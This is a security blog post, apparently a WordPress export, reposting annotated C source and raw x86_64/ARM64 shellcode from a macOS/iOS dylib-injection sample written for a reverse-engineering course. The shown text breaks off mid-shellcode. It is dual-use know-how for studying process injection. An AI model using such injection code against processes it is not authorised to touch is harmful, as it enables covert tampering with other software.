{"id":65,"date":"2016-12-11T11:02:37","date_gmt":"2016-12-11T11:02:37","guid":{"rendered":"http:\/\/piratesecurityblog.com\/?p=65"},"modified":"2017-11-13T11:04:36","modified_gmt":"2017-11-13T11:04:36","slug":"injection-in-osx","status":"publish","type":"post","link":"https:\/\/piratesecurityblog.com\/?p=65","title":{"rendered":"Lib Injection code In OSX"},"content":{"rendered":"<p>taken from :\u00a0http:\/\/newosxbook.com\/src.jl?tree=listings&amp;file=inject.c<\/p>\n<p>this is an amazing injction Open Source for OSX<\/p>\n<p>&nbsp;<\/p>\n<pre class=\"sh_c sh_sourceCode\"><span class=\"sh_preproc\">#include<\/span> <span class=\"sh_string\">&lt;dlfcn.h&gt;<\/span>\r\n<span class=\"sh_preproc\">#include<\/span> <span class=\"sh_string\">&lt;stdio.h&gt;<\/span>\r\n<span class=\"sh_preproc\">#include<\/span> <span class=\"sh_string\">&lt;unistd.h&gt;<\/span>\r\n<span class=\"sh_preproc\">#include<\/span> <span class=\"sh_string\">&lt;sys\/types.h&gt;<\/span>\r\n<span class=\"sh_preproc\">#include<\/span> <span class=\"sh_string\">&lt;mach\/mach.h&gt;<\/span>\r\n<span class=\"sh_preproc\">#include<\/span> <span class=\"sh_string\">&lt;mach\/error.h&gt;<\/span>\r\n<span class=\"sh_preproc\">#include<\/span> <span class=\"sh_string\">&lt;errno.h&gt;<\/span>\r\n<span class=\"sh_preproc\">#include<\/span> <span class=\"sh_string\">&lt;stdlib.h&gt;<\/span>\r\n<span class=\"sh_preproc\">#include<\/span> <span class=\"sh_string\">&lt;sys\/sysctl.h&gt;<\/span>\r\n<span class=\"sh_preproc\">#include<\/span> <span class=\"sh_string\">&lt;dlfcn.h&gt;<\/span>\r\n<span class=\"sh_preproc\">#include<\/span> <span class=\"sh_string\">&lt;sys\/mman.h&gt;<\/span>\r\n\r\n<span class=\"sh_preproc\">#include<\/span> <span class=\"sh_string\">&lt;sys\/stat.h&gt;<\/span>\r\n<span class=\"sh_preproc\">#include<\/span> <span class=\"sh_string\">&lt;pthread.h&gt;<\/span>\r\n\r\n\r\n<span class=\"sh_preproc\">#ifdef<\/span> __arm64__\r\n<span class=\"sh_comment\">\/\/#include \"mach\/arm\/thread_status.h\"<\/span>\r\n\r\n<span class=\"sh_comment\">\/\/ Apple says: mach\/mach_vm.h:1:2: error: mach_vm.h unsupported<\/span>\r\n<span class=\"sh_comment\">\/\/ And I say, bullshit.<\/span>\r\n<span class=\"sh_usertype\">kern_return_t<\/span> mach_vm_allocate\r\n<span class=\"sh_symbol\">(<\/span>\r\n        <span class=\"sh_usertype\">vm_map_t<\/span> target<span class=\"sh_symbol\">,<\/span>\r\n        <span class=\"sh_usertype\">mach_vm_address_t<\/span> <span class=\"sh_symbol\">*<\/span>address<span class=\"sh_symbol\">,<\/span>\r\n        <span class=\"sh_usertype\">mach_vm_size_t<\/span> size<span class=\"sh_symbol\">,<\/span>\r\n        <span class=\"sh_type\">int<\/span> flags\r\n<span class=\"sh_symbol\">);<\/span>\r\n\r\n<span class=\"sh_usertype\">kern_return_t<\/span> mach_vm_write\r\n<span class=\"sh_symbol\">(<\/span>\r\n        <span class=\"sh_usertype\">vm_map_t<\/span> target_task<span class=\"sh_symbol\">,<\/span>\r\n        <span class=\"sh_usertype\">mach_vm_address_t<\/span> address<span class=\"sh_symbol\">,<\/span>\r\n        <span class=\"sh_usertype\">vm_offset_t<\/span> data<span class=\"sh_symbol\">,<\/span>\r\n        mach_msg_type_number_t dataCnt\r\n<span class=\"sh_symbol\">);<\/span>\r\n\r\n\r\n\r\n\r\n<span class=\"sh_preproc\">#else<\/span>\r\n<span class=\"sh_preproc\">#include<\/span> <span class=\"sh_string\">&lt;mach\/mach_vm.h&gt;<\/span>\r\n<span class=\"sh_preproc\">#endif<\/span>\r\n\r\n\r\n<span class=\"sh_preproc\">#define<\/span> STACK_SIZE <span class=\"sh_number\">65536<\/span>\r\n<span class=\"sh_preproc\">#define<\/span> CODE_SIZE <span class=\"sh_number\">128<\/span>\r\n\r\n<span class=\"sh_comment\">\/\/ Due to popular request:<\/span>\r\n<span class=\"sh_comment\">\/\/<\/span>\r\n<span class=\"sh_comment\">\/\/ Simple injector example (and basis of coreruption tool).<\/span>\r\n<span class=\"sh_comment\">\/\/<\/span>\r\n<span class=\"sh_comment\">\/\/ If you've looked into research on injection techniques in OS X, you<\/span>\r\n<span class=\"sh_comment\">\/\/ probably know about mach_inject. This tool, part of Dino Dai Zovi's<\/span>\r\n<span class=\"sh_comment\">\/\/ excellent \"Mac Hacker's Handbook\" (a must read - kudos, DDZ) was<\/span>\r\n<span class=\"sh_comment\">\/\/ created to inject code in PPC and i386. Since I couldn't find anything<\/span>\r\n<span class=\"sh_comment\">\/\/ for x86_64 or ARM, I ended up writing my own tool.<\/span>\r\n\r\n<span class=\"sh_comment\">\/\/ Since, this tool has exploded in functionality - with many other features,<\/span>\r\n<span class=\"sh_comment\">\/\/ including scriptable debugging, fault injection, function hooking, code <\/span>\r\n<span class=\"sh_comment\">\/\/ decryption,  and what not - which comes in *really* handy on iOS.<\/span>\r\n<span class=\"sh_comment\">\/\/<\/span>\r\n<span class=\"sh_comment\">\/\/ coreruption is still closed source, due its highly.. uhm.. useful<\/span>\r\n<span class=\"sh_comment\">\/\/ nature. But I'm making this sample free, and I have fully annotated this.<\/span>\r\n<span class=\"sh_comment\">\/\/ The rest of the stuff you need is in Chapters 11 and 12 MOXiI 1, with more<\/span>\r\n<span class=\"sh_comment\">\/\/ to come in the 2nd Ed (..in time for iOS 9 :-)<\/span>\r\n<span class=\"sh_comment\">\/\/<\/span>\r\n<span class=\"sh_comment\">\/\/ Go forth and spread your code :-)<\/span>\r\n<span class=\"sh_comment\">\/\/<\/span>\r\n<span class=\"sh_comment\">\/\/ J (info@newosxbook.com) 02\/05\/2014<\/span>\r\n<span class=\"sh_comment\">\/\/<\/span>\r\n<span class=\"sh_comment\">\/\/ v2: With ARM64 -  06\/02\/2015 NOTE - ONLY FOR **ARM64**, NOT ARM32!<\/span>\r\n<span class=\"sh_comment\">\/\/ Get the full bundle at - http:\/\/NewOSXBook.com\/files\/injarm64.tar<\/span>\r\n<span class=\"sh_comment\">\/\/ with sample dylib and with script to compile this neatly.<\/span>\r\n<span class=\"sh_comment\">\/\/<\/span>\r\n<span class=\"sh_comment\">\/\/**********************************************************************<\/span>\r\n<span class=\"sh_comment\">\/\/ Note ARM code IS messy, and I left the addresses wide apart. That's <\/span>\r\n<span class=\"sh_comment\">\/\/ intentional. Basic ARM64 assembly will enable you to tidy this up and<\/span>\r\n<span class=\"sh_comment\">\/\/ make the code more compact. <\/span>\r\n<span class=\"sh_comment\">\/\/<\/span>\r\n<span class=\"sh_comment\">\/\/ This is *not* meant to be neat - I'm just preparing this for TG's<\/span>\r\n<span class=\"sh_comment\">\/\/ upcoming OS X\/iOS RE course (http:\/\/technologeeks.com\/OSXRE) and thought<\/span>\r\n<span class=\"sh_comment\">\/\/ this would be interesting to share. See you all in MOXiI 2nd Ed!<\/span>\r\n<span class=\"sh_comment\">\/\/**********************************************************************<\/span>\r\n\r\n\r\n<span class=\"sh_comment\">\/\/ This sample code calls pthread_set_self to promote the injected thread<\/span>\r\n<span class=\"sh_comment\">\/\/ to a pthread first - otherwise dlopen and many other calls (which rely<\/span>\r\n<span class=\"sh_comment\">\/\/ on pthread_self()) will crash. <\/span>\r\n<span class=\"sh_comment\">\/\/ It then calls dlopen() to load the library specified - which will trigger<\/span>\r\n<span class=\"sh_comment\">\/\/ the library's constructor (q.e.d as far as code injection is concerned)<\/span>\r\n<span class=\"sh_comment\">\/\/ and sleep for a long time. You can of course replace the sleep with<\/span>\r\n<span class=\"sh_comment\">\/\/ another function, such as pthread_exit(), etc.<\/span>\r\n<span class=\"sh_comment\">\/\/<\/span>\r\n<span class=\"sh_comment\">\/\/ (For the constructor, use:<\/span>\r\n<span class=\"sh_comment\">\/\/<\/span>\r\n<span class=\"sh_comment\">\/\/ static void whicheverfunc() __attribute__((constructor));<\/span>\r\n<span class=\"sh_comment\">\/\/<\/span>\r\n<span class=\"sh_comment\">\/\/ in the library you inject)<\/span>\r\n<span class=\"sh_comment\">\/\/<\/span>\r\n<span class=\"sh_comment\">\/\/ Note that the functions are shown here as \"_PTHRDSS\", \"DLOPEN__\" and \"SLEEP___\".<\/span>\r\n<span class=\"sh_comment\">\/\/ Reason being, that the above are merely placeholders which will be patched with<\/span>\r\n<span class=\"sh_comment\">\/\/ the runtime addresses when code is actually injected.<\/span>\r\n<span class=\"sh_comment\">\/\/<\/span>\r\n<span class=\"sh_type\">char<\/span> injectedCode<span class=\"sh_symbol\">[]<\/span> <span class=\"sh_symbol\">=<\/span>\r\n<span class=\"sh_preproc\">#ifdef<\/span> X86_64\r\n\r\n     <span class=\"sh_comment\">\/\/\"\\xcc\"                           \/\/  int3   <\/span>\r\n     <span class=\"sh_string\">\"<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">90\"<\/span>\t\t\t\t<span class=\"sh_comment\">\/\/ nop..<\/span>\r\n     <span class=\"sh_string\">\"<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">55\"<\/span>                           <span class=\"sh_comment\">\/\/ pushq  %rbp<\/span>\r\n     <span class=\"sh_string\">\"<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">48<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">89<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">e5\"<\/span>                   <span class=\"sh_comment\">\/\/ movq   %rsp, %rbp<\/span>\r\n     <span class=\"sh_string\">\"<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">48<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">83<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">ec<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">20\"<\/span>               <span class=\"sh_comment\">\/\/ subq   $32, %rsp<\/span>\r\n     <span class=\"sh_string\">\"<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">89<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">7d<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">fc\"<\/span>                   <span class=\"sh_comment\">\/\/ movl   %edi, -4(%rbp)<\/span>\r\n     <span class=\"sh_string\">\"<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">48<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">89<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">75<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">f0\"<\/span>               <span class=\"sh_comment\">\/\/ movq   %rsi, -16(%rbp)<\/span>\r\n     <span class=\"sh_string\">\"<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">b0<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00\"<\/span>                                    <span class=\"sh_comment\">\/\/ movb   $0, %al<\/span>\r\n     <span class=\"sh_comment\">\/\/ call pthread_set_self <\/span>\r\n     <span class=\"sh_string\">\"<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">48<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">bf<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00\"<\/span>    <span class=\"sh_comment\">\/\/ movabsq $0, %rdi<\/span>\r\n     <span class=\"sh_string\">\"<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">48<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">b8\"<\/span> <span class=\"sh_string\">\"_PTHRDSS\"<\/span>                           <span class=\"sh_comment\">\/\/ movabsq $140735540045793, %rax<\/span>\r\n     <span class=\"sh_string\">\"<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">ff<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">d0\"<\/span>                                    <span class=\"sh_comment\">\/\/    callq  *%rax<\/span>\r\n     <span class=\"sh_string\">\"<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">48<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">be<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00\"<\/span>    <span class=\"sh_comment\">\/\/ movabsq $0, %rsi<\/span>\r\n     <span class=\"sh_string\">\"<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">48<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">8d<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">3d<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">2c<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00\"<\/span>                <span class=\"sh_comment\">\/\/ leaq   44(%rip), %rdi<\/span>\r\n     <span class=\"sh_comment\">\/\/ DLOpen...<\/span>\r\n     <span class=\"sh_string\">\"<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">48<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">b8\"<\/span> <span class=\"sh_string\">\"DLOPEN__\"<\/span> <span class=\"sh_comment\">\/\/ movabsq $140735516395848, %rax<\/span>\r\n     <span class=\"sh_string\">\"<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">48<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">be<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00\"<\/span> <span class=\"sh_comment\">\/\/  movabsq $0, %rsi<\/span>\r\n     <span class=\"sh_string\">\"<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">ff<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">d0\"<\/span>                       <span class=\"sh_comment\">\/\/   callq  *%rax<\/span>\r\n     <span class=\"sh_comment\">\/\/ Sleep(1000000)...<\/span>\r\n     <span class=\"sh_string\">\"<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">48<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">bf<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">e4<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">0b<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">54<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">02<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00\"<\/span> <span class=\"sh_comment\">\/\/  movabsq $10000000000, %rdi<\/span>\r\n     <span class=\"sh_string\">\"<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">48<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">b8\"<\/span> <span class=\"sh_string\">\"SLEEP___\"<\/span> <span class=\"sh_comment\">\/\/ movabsq $140735516630165, %rax<\/span>\r\n     <span class=\"sh_string\">\"<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">ff<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">d0\"<\/span>            <span class=\"sh_comment\">\/\/              callq  *%rax<\/span>\r\n\r\n     <span class=\"sh_comment\">\/\/ plenty of space for a full path name here<\/span>\r\n     <span class=\"sh_string\">\"LIBLIBLIBLIB\"<\/span> <span class=\"sh_string\">\"<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00\"<\/span>\r\n     <span class=\"sh_string\">\"<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00\"<\/span>\r\n     <span class=\"sh_string\">\"<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00\"<\/span>\r\n     <span class=\"sh_string\">\"<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00\"<\/span>\r\n<span class=\"sh_symbol\">;<\/span>\r\n\r\n<span class=\"sh_preproc\">#else<\/span>\r\n \r\n   <span class=\"sh_comment\">\/\/ That's the ARM64 \"shellcode\"<\/span>\r\n   <span class=\"sh_string\">\"<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">08<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">03<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">58\"<\/span> <span class=\"sh_comment\">\/\/ LDR X8, #3 ; load PTHREADSS<\/span>\r\n   <span class=\"sh_string\">\"<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">01<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">3f<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">d6\"<\/span> <span class=\"sh_comment\">\/\/ BLR X8     ; do pthread_set_self<\/span>\r\n  \r\n    <span class=\"sh_string\">\"<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">01<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">10\"<\/span> <span class=\"sh_comment\">\/\/ ADR X0, #32<\/span>\r\n   <span class=\"sh_string\">\"<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">40<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">01<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">91\"<\/span>  <span class=\"sh_comment\">\/\/ ADD x0, x0, #0x50  ; X0 =&gt; \"LIBLIBLIB...\";<\/span>\r\n   <span class=\"sh_string\">\"<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">08<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">03<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">58\"<\/span>  <span class=\"sh_comment\">\/\/ LDR X8, #3 ; load DLOPEN<\/span>\r\n   <span class=\"sh_string\">\"<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">01<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">80<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">d2\"<\/span>  <span class=\"sh_comment\">\/\/ MOVZ X1, 0 ; X1 = 0;<\/span>\r\n   <span class=\"sh_string\">\"<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">29<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">01<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">91\"<\/span>  <span class=\"sh_comment\">\/\/ ADD   x9, x9, 0  - I left this as a nop<\/span>\r\n   <span class=\"sh_comment\">\/\/ dlopen(\"LIBLIBLIB\", 0);<\/span>\r\n   <span class=\"sh_string\">\"<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">01<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">3f<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">d6\"<\/span>  <span class=\"sh_comment\">\/\/ BLR X8     ; do dlopen()<\/span>\r\n   <span class=\"sh_string\">\"<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">a8<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">58\"<\/span>  <span class=\"sh_comment\">\/\/ LDR X8, #12 ; load PTHREADEXT<\/span>\r\n   <span class=\"sh_string\">\"<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">80<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">d2\"<\/span>  <span class=\"sh_comment\">\/\/ MOVZ X0, 0 ; X1 = 0;<\/span>\r\n   <span class=\"sh_string\">\"<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">01<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">3f<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">d6\"<\/span>  <span class=\"sh_comment\">\/\/ BLR X8     ; do pthread_exit<\/span>\r\n   <span class=\"sh_string\">\"<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">20<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">d4\"<\/span>  <span class=\"sh_comment\">\/\/ BRK X0     ; \/\/ useful if you need a break :)<\/span>\r\n    <span class=\"sh_string\">\"XXXX\"<\/span> \r\n    <span class=\"sh_string\">\"PTHRDEXT\"<\/span>   <span class=\"sh_comment\">\/\/ &lt;-<\/span>\r\n    <span class=\"sh_string\">\"AAAA\"<\/span>\r\n    <span class=\"sh_string\">\"BCDEFGHI\"<\/span>\r\n    <span 